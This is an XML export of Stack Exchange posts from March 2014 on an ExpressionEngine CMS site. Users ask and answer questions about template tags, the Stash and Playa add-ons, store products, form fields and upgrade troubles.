  <row Id="20826" PostTypeId="1" CreationDate="2014-03-30T21:00:16.697" Score="1" ViewCount="40" Body="&lt;p&gt;So my members update their courses which is a matrix channel field, tis channel field has 2 cells. Date and course name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I would like to do is get the last 3 matrix fields by date across all my members then output the name of the person who updated last.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zoo_visitor&quot; limit=&quot;10&quot;}&#xA;       {member_firstname}{member_lastname}&#xA;      {courses_completed}&#xA;&#xA;      {Date}&#xA;      {/courses_completed}&#xA;      {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-06-29T00:39:09.007" Title="getting last 3 matrix fields by date" Tags="|matrix|search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20827" PostTypeId="1" CreationDate="2014-03-30T21:24:31.763" Score="2" ViewCount="146" Body="&lt;p&gt;Is it possible that there's some kind of issue for anyone upgrading from EE 2.5.2 to 2.8.1? I've tried it several times now, and what happens is the process starts and initially takes EE to 2.5.5, then stops at 2.6.1. The main admin.php file is then stuck on the welcoming upgrade screen, even when deleting the /installer directory.&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2014-05-12T14:55:35.147" Title="Trouble Upgrading from 2.5.2 to 2.8.1" Tags="|ee2|v2.5.5|2.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20828" PostTypeId="2" ParentId="20826" CreationDate="2014-03-30T21:27:36.957" Score="1" Body="&lt;p&gt;Why not just order the matrix field by the date column in descending order and apply a limit of 3? That would give you what you need.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-30T21:27:36.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20829" PostTypeId="2" ParentId="20822" CreationDate="2014-03-30T21:33:00.350" Score="2" Body="&lt;p&gt;I bought and installed &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;SNAPTCHA&lt;/a&gt; when I encountered that kind of issue - worked brilliantly. Easy to install and worth every penny of its really reasonable $14 price tag.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-30T21:33:00.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20830" PostTypeId="2" ParentId="20065" CreationDate="2014-03-30T23:58:24.233" Score="2" Body="&lt;p&gt;I believe the problem here was that after allowing the user to enter a &lt;code&gt;promo_code&lt;/code&gt;, the &lt;code&gt;promo_code&lt;/code&gt; field was redisplayed empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, when the customer submitted the final order for payment, the promo code was reset to a blank string, resulting in the discount being removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, either hide the &lt;code&gt;promo_code&lt;/code&gt; field when it is set, or display a field with the current value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;promo_code&quot; value=&quot;{promo_code}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:promo_code}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-30T23:58:24.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20831" PostTypeId="1" CreationDate="2014-03-31T00:26:04.760" Score="0" ViewCount="190" Body="&lt;p&gt;I'm using EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending out an email with Communication tool to an EE mailing list with about 3,000 people on it. Started sending fine in batches of 50, and then after about 2,300 sent it came up with this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to send email at this time&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now when I go new previously sent emails it says the status is &quot;incomplete&quot; and gives me an option to finish sending the unsent messages, but when I click this I get the same error over and over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, I have Postmaster setup to send all system emails through Mandrill. All other system emails have been working fine before and after this, so it's just a problem with sending to this mailing list via communication tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What would cause this very nondescript error to appear?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first thought maybe there was an EE, Mandrill or server limitation on emails sent, but I've checked and I don't think that's the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another suggestion I received is to check to make sure there isn't a malformed email address in there that is messing it up. But when you have over 3,000 emails it's very hard to look through them for something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions of how to debug this?&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-03-31T04:52:21.577" LastActivityDate="2014-04-02T03:49:11.083" Title="Communication module, batch send, &quot;Unable to send email at this time&quot; after many successful batches sent" Tags="|email|postmaster|mailinglist|bulk|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20832" PostTypeId="1" AcceptedAnswerId="20842" CreationDate="2014-03-31T06:59:15.717" Score="1" ViewCount="258" Body="&lt;p&gt;I'm working on a template that outputs large tables of stockists. At the moment they're quite slow so I've reworked it a bit to use Stash set &amp;amp; get_list but they're still quite slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the template I'm testing has come down from ~9 seconds to ~6.5. I'd like to get that down further and wondering what I can do with the below to achieve that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;stockists&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries&#xA;        category=&quot;{segment_3_category_id}&quot;&#xA;        channel=&quot;stockists&quot;&#xA;        disable=&quot;member_data|pagination|trackbacks&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;        {stash:stockist_cat}{categories backspace=&quot;1&quot;}{category_name}|{/categories}{/stash:stockist_cat}&#xA;&#xA;        {stash:stockist_row}&#xA;        &amp;lt;td&amp;gt;&#xA;            {title} &amp;lt;br/&amp;gt;&#xA;            {if stock_address_1}{stock_address_1} &amp;lt;br /&amp;gt;{/if}&#xA;            {if stock_address_2}{stock_address_2} &amp;lt;br /&amp;gt;{/if}&#xA;            {if stock_address_3}{stock_address_3} &amp;lt;br /&amp;gt;{/if}&#xA;            {if stock_city}{stock_city}{/if} {if stock_state}&amp;lt;span&amp;gt;{stock_state}&amp;lt;/span&amp;gt;{if:else}&amp;lt;span&amp;gt;{segment_3_category_name}&amp;lt;/span&amp;gt;{/if} {if stock_pcode}{stock_pcode}{/if}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;p&amp;gt;p {if stock_phone}{stock_phone}&amp;lt;br/&amp;gt;{/if}&#xA;            {if stock_url}&amp;lt;a href=&quot;http://{stock_url}&quot; target=&quot;_blank&quot;&amp;gt;{stock_url}&amp;lt;/a&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        {/stash:stockist_row}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;table class=&quot;stockists&quot;&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;&#xA;        {exp:gwcode_categories&#xA;            cat_id=&quot;{segment_3_category_id}&quot;&#xA;            depth=&quot;2|3&quot;&#xA;            parse=&quot;inward&quot;&#xA;            show_empty=&quot;yes&quot;&#xA;            style=&quot;linear&quot;&#xA;        }&#xA;            {if depth==&quot;2&quot;}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th colspan=&quot;3&quot; id=&quot;{cat_url_title}&quot; class=&quot;location-hd&quot;&amp;gt;{cat_name}&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            {/if}&#xA;            {if cat_description}&amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;3&quot;&amp;gt;&amp;lt;p&amp;gt;{cat_description}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if depth==&quot;3&quot;}&#xA;                {exp:stash:get_list&#xA;                    name=&quot;stockists&quot;&#xA;                    match=&quot;#\b{cat_name}\b#&quot;&#xA;                    against=&quot;stockist_cat&quot;&#xA;                    save=&quot;yes&quot;&#xA;                    scope=&quot;site&quot;&#xA;                    refresh=&quot;60&quot;&#xA;                    replace=&quot;no&quot;&#xA;                }&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot; class=&quot;location-name&quot;&amp;gt;{cat_name}&amp;lt;/th&amp;gt;&#xA;                    {stockist_row}&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;            {/if}&#xA;&#xA;        {/exp:gwcode_categories}&#xA;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-03-31T16:38:23.450" Title="GWCode Categories and Stash set/get_list" Tags="|categories|stash|gwcode-categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20833" PostTypeId="1" AcceptedAnswerId="20861" CreationDate="2014-03-31T08:51:34.793" Score="2" ViewCount="183" Body="&lt;p&gt;Is there any reason to buy Playa over the relationship module? I have a fairly complex relationship setup and need something to assist. Playa looks good but does it offer anything the native relationship module does not?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="150" LastEditDate="2014-04-01T10:36:13.243" LastActivityDate="2016-08-12T08:37:53.903" Title="Any reason to buy Playa over the native EE relationship module?" Tags="|playa|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20834" PostTypeId="1" CreationDate="2014-03-31T09:13:55.710" Score="0" ViewCount="100" Body="&lt;p&gt;Cannot render an Assets tag pair inside a Playa field on a live server using php 5.4.13 EE just cannot recognize from the Playa tag pairs inwards. Using a single tag it works like always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just to be more clear:&#xA;&lt;strong&gt;* this doesn't work with php 5.4.10 and above *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{prodotti_correlati_manutenzione dynamic=&quot;no&quot;}&#xA;                                                    &amp;lt;div class=&quot;small-12 medium-4 large-4 column&quot;&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                                            &amp;lt;div class=&quot;small-12 column&quot;&amp;gt;&#xA;                                                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{exp:ce_img:single src=&quot;{img_prodotto}&quot; width=&quot;200&quot; height=&quot;200&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;                                                            &amp;lt;/div&amp;gt;&#xA;                                                            &amp;lt;div class=&quot;small-12 column&quot;&amp;gt;&#xA;                                                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                                                            &amp;lt;/div&amp;gt;&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                {/prodotti_correlati_manutenzione}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* this doesn't work with php 5.3.20 and above *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{prodotti_correlati_manutenzione dynamic=&quot;no&quot;}&#xA;                                                &amp;lt;div class=&quot;small-12 medium-12 large-12 column&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;small-12 column&quot;&amp;gt;&#xA;                                                            {img_prodotto}&#xA;                                                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;                                                                    {exp:ce_img:single src=&quot;{url}&quot; width=&quot;200&quot; height=&quot;200&quot; crop=&quot;yes&quot;}&#xA;                                                                &amp;lt;/a&amp;gt;&#xA;                                                            {/img_prodotto}&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;small-12 column&quot;&amp;gt;&#xA;                                                            &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            {/prodotti_correlati_manutenzione}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.3&#xA;Playa 4.4.5&#xA;Assets 2.2.4&#xA;Structure 3.3.14&#xA;Transcribe 1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bye&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2014-04-07T23:03:11.503" Title="Playa or Assets issues with php 5.3.20 and above" Tags="|assets|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20836" PostTypeId="1" AcceptedAnswerId="20852" CreationDate="2014-03-31T09:59:43.347" Score="1" ViewCount="52" Body="&lt;p&gt;I'm building a webshop with hair care products, certain products however shouldn't be available to all members. We plan to have two member groups, regular buyers and haircare professionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need to do is mark certain products to only be available to a specific member group(professionals).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest way to achieve this? All the products are currently in one channel and I would prefer to keep them this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just make a simple switch fieldtype? Is it possible to just write some type of &quot;if member group = 4 AND fieldtype = yes&quot; statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-03-31T18:28:43.630" Title="Expresso Store limit certain products to member group" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20837" PostTypeId="2" ParentId="20817" CreationDate="2014-03-31T10:56:50.673" Score="0" Body="&lt;p&gt;It's not directly related to Visitor, i encountered the same problem in a regular Channel Form.  Not sure if the bug has already been reported to Pixel&amp;amp;Tonic&lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2014-03-31T10:56:50.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20839" PostTypeId="1" AcceptedAnswerId="20868" CreationDate="2014-03-31T11:57:28.413" Score="3" ViewCount="77" Body="&lt;p&gt;Not sure what I'm doing wrong, but the following code gives me a PHP error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;treatments&quot; search:on_sale=&quot;yes&quot;}&#xA;{exp:store:product&#xA;    entry_id=&quot;{entry_id}&quot; &#xA;    input:gcc=&quot;Gavekort&quot;&#xA;    input:msg=&quot;Melding&quot;&#xA;    input:recipient_name=&quot;Mottakernavn&quot;&#xA;    input:recipient_email=&quot;Mottakers e-post&quot;&#xA;}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:store:search}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: &lt;strong&gt;Fatal error: Using $this when not in object context in /*&lt;/strong&gt;/expressionengine/third_party/store/src/Store/Tag/SearchTag.php on line 37**&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-04-01T02:56:18.980" Title="Expresso Store: Getting all products on sale throws PHP error" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20840" PostTypeId="1" CreationDate="2014-03-31T12:34:39.753" Score="2" ViewCount="218" Body="&lt;p&gt;I need to set expiration date as required for entries on a channel.&#xA;So is there any way to set expiration date as required for an entry?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2625" LastActivityDate="2014-04-30T18:36:47.393" Title="How to make expiration date required?" Tags="|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20841" PostTypeId="1" AcceptedAnswerId="20843" CreationDate="2014-03-31T12:50:53.943" Score="1" ViewCount="88" Body="&lt;p&gt;I have 2 category groups (function and material).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my search for i have the 2 category groups listed as checkboxes, so the user can perform multiple search combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I need the search to work is, if I selected Sales and Marketing from the functions categories list and selected Videos and eBooks from the materials categories list. I want to be able to see Video and eBooks entries in either Sales or Marketing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way for me to handle this type of query.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-31T13:06:38.057" Title="Superseach / Low search - How to handle this type of search criteria" Tags="|solspace|low-search|supersearch|low|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20842" PostTypeId="2" ParentId="20832" CreationDate="2014-03-31T12:51:13.397" Score="3" Body="&lt;p&gt;I think that by caching both lists, you could reduce queries a little bit further. Easier to add Stash caching / Mustash to the mix too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set stockists list (consider caching with bundles and mustash forever) --}&#xA;{exp:stash:set_list&#xA;    name=&quot;stockists&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    save=&quot;yes&quot; &#xA;    scope=&quot;site&quot;   &#xA;    refresh=&quot;60&quot;   &#xA;    replace=&quot;no&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries&#xA;        category=&quot;{segment_3_category_id}&quot;&#xA;        channel=&quot;stockists&quot;&#xA;        disable=&quot;member_data|pagination|trackbacks&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;        {stash:stockist_cat}{categories backspace=&quot;1&quot;}{category_name}|{/categories}{/stash:stockist_cat}&#xA;        {stash:stockist_title}{title}{/stash:stockist_title}&#xA;        {stash:stock_address_1}{stock_address_1}{/stash:stock_address_1}&#xA;        {stash:stock_city}{stock_city}{/stash:stock_city}&#xA;        {if stock_state}&#xA;            {stash:stock_state}{stock_state}{/stash:stock_state}&#xA;        {if:else}&#xA;            {stash:stock_state}{segment_3_category_name}{/stash:stock_state}&#xA;        {/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- set categories list (consider caching with bundles and mustash forever) --}&#xA;{exp:stash:set_list&#xA;    name=&quot;categories&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    save=&quot;yes&quot; &#xA;    scope=&quot;site&quot;   &#xA;    refresh=&quot;60&quot;   &#xA;    replace=&quot;no&quot;&#xA;}&#xA;&#xA;    {exp:gwcode_categories&#xA;            cat_id=&quot;{segment_3_category_id}&quot;&#xA;            depth=&quot;2|3&quot;&#xA;            parse=&quot;inward&quot;&#xA;            show_empty=&quot;yes&quot;&#xA;            style=&quot;linear&quot;&#xA;        }&#xA;            {stash:cat_depth}{depth}{/stash:cat_depth}&#xA;            {stash:cat_url_title}{cat_url_title}{/stash:cat_url_title}&#xA;            {stash:cat_name}{cat_name}{/stash:cat_name}&#xA;            {stash:cat_description}{cat_description}{/stash:cat_description}&#xA;&#xA;    {/exp:gwcode_categories}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{!-- creating the list using stash nested lists --}&#xA;{exp:stash:get_list:categories&#xA;    name=&quot;categories&quot;&#xA;    scope=&quot;site&quot;&#xA;}&#xA;    {if cat_depth == &quot;2&quot;}&#xA;        ... do table stuff ...&#xA;    {/if}&#xA;&#xA;    {if cat_depth == &quot;3&quot;}&#xA;        {exp:stash:get_list:stockists&#xA;                name=&quot;stockists&quot;&#xA;                match=&quot;#^{cat_name}$#&quot;&#xA;                against=&quot;stockist_cat&quot;&#xA;                scope=&quot;site&quot;&#xA;            }&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th scope=&quot;row&quot; class=&quot;location-name&quot;&amp;gt;{cat_name}&amp;lt;/th&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    {title} &amp;lt;br/&amp;gt;&#xA;                    {if &quot;{exp:stash:not_empty name='stock_address_1'}&quot;}{stock_address_1} &amp;lt;br /&amp;gt;{/if}&#xA;                    [...]&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    [...]&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/exp:stash:get_list:stockists}&#xA;    {/if}&#xA;{/exp:stash:get_list:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: added contexts (&lt;code&gt;exp:stash:get_list:categories&lt;/code&gt; and &lt;code&gt;exp:stash:get_list:stockist&lt;/code&gt;) for nested &lt;code&gt;get_lists&lt;/code&gt; to work properly&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-03-31T16:38:23.450" LastActivityDate="2014-03-31T16:38:23.450" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20843" PostTypeId="2" ParentId="20841" CreationDate="2014-03-31T13:06:38.057" Score="1" Body="&lt;p&gt;I cannot comment about Super Search, but Low Search can handle this using the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Categories filter&lt;/a&gt; and its group syntax. In your case, you could use &lt;code&gt;name=&quot;category:functions[]&quot;&lt;/code&gt; for the one group, and &lt;code&gt;name=&quot;category:materials[]&quot;&lt;/code&gt; for the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the second part of the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples#categories&quot; rel=&quot;nofollow&quot;&gt;Categories filter example here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-31T13:06:38.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20844" PostTypeId="2" ParentId="20840" CreationDate="2014-03-31T14:26:48.457" Score="1" Body="&lt;p&gt;i cant add comments yet, so i add an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;cp-css-js&lt;/a&gt; from pixel and tonic, can help you out.&#xA;by adding some javascript validation on the expiration date field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#expiration_date&quot;).prop(&quot;required&quot;,&quot;required&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1980" LastEditorUserId="1980" LastEditDate="2014-03-31T14:42:33.253" LastActivityDate="2014-03-31T14:42:33.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20845" PostTypeId="1" CreationDate="2014-03-31T15:14:34.757" Score="0" ViewCount="370" Body="&lt;p&gt;I'm trying to create a multi select field that pulls in data from a matrix field. I have that part working, but am having trouble getting it to be a multi-select as well as pushing it to the freeform control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;product_size_chosen&quot;&amp;gt;Size&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;select multiple=&quot;multiple&quot; name=&quot;product_size_chosen[]&quot; onChange=&quot;MM_jumpMenu('parent',this,1)&quot;&amp;gt; //product_size_chosen[] is freeform field//&#xA;&#xA;{product_sizes_available} //This is the matrix wrap//&#xA;&amp;lt;option value=&quot;{product_size}&quot;&amp;gt;{product_size}&amp;lt;/option&amp;gt; //matrix field variable//&#xA;{/product_sizes_available} //End or matrix wrap&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#multi_select&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#multi_select&lt;/a&gt;   unfortunately it outputs the matrix rows all as one long row and outputs all other store entries and their matrix fields on additional rows (not what's expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what it outputs&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;small large medium x-large //each sizeis a matrix fields in a single entry// &lt;/li&gt;&#xA;&lt;li&gt;large x-large xx-large  &lt;/li&gt;&#xA;&lt;li&gt;small medium xx-large&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NR6PK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the regular select html tags I'm able to output... (code above)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;small &lt;/li&gt;&#xA;&lt;li&gt;Medium  &lt;/li&gt;&#xA;&lt;li&gt;Large  &lt;/li&gt;&#xA;&lt;li&gt;x-large&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUDG5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This outputs correctly (1 single entry displaying all matrix rows correctly), unfortuantely I can't get the selection to be added to the database and display in freeform field. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="311" LastEditDate="2014-04-01T18:06:17.157" LastActivityDate="2014-04-01T18:06:17.157" Title="Need help creating a dynamic multi-select to use with Freeform Pro" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20846" PostTypeId="2" ParentId="7369" CreationDate="2014-03-31T15:21:27.573" Score="1" Body="&lt;p&gt;Everything you've mentioned is perfectly capable using the following add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Membership management: Solspace User or EE Zoo's Zoo Visitor&lt;/li&gt;&#xA;&lt;li&gt;Payment: Membrr (EE-based solution) or aMember (non-EE solution)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The important thing to remember is that the member management aspect of the site will be more or less handled separately from the payment aspect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using the combination above will give you enough &quot;bridge&quot; to make sure the entire workflow goes smoothly. Just expect that there will not be an all-in-one solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider Andrew's excellent DataGrab or Solspace Importer if you need to grab existing member data into a new EE site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I love CartThrob, but it alone will not make the process work. Even an add-on like Charge that works with Stripe will do, to handle the payment processing portion. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-03-31T15:21:27.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20847" PostTypeId="1" AcceptedAnswerId="20902" CreationDate="2014-03-31T15:28:06.930" Score="1" ViewCount="56" Body="&lt;p&gt;Yup. I was finalizing a design by FTPing a revised stylesheet to my server and my entire domain went down for about 1/2 hour. It came back up but the website I wasb preparing on a subdomain shows up as a white screen. Looking at the source there is no code. However, I am able to log onto EE CP and my data is still present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently on the line with my host (MT) so see if the issue is on their end. Has anyone experienced this on EE's end? If, so where should I start looking for a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Now I can see my raw HTML, but no CSS or EE templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: And now I just disabled the structure module and lost my site tree. :( &lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="1364" LastEditDate="2014-03-31T17:11:18.987" LastActivityDate="2014-04-01T23:31:59.027" Title="The day before a big meeting....site disappears" Tags="|server|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
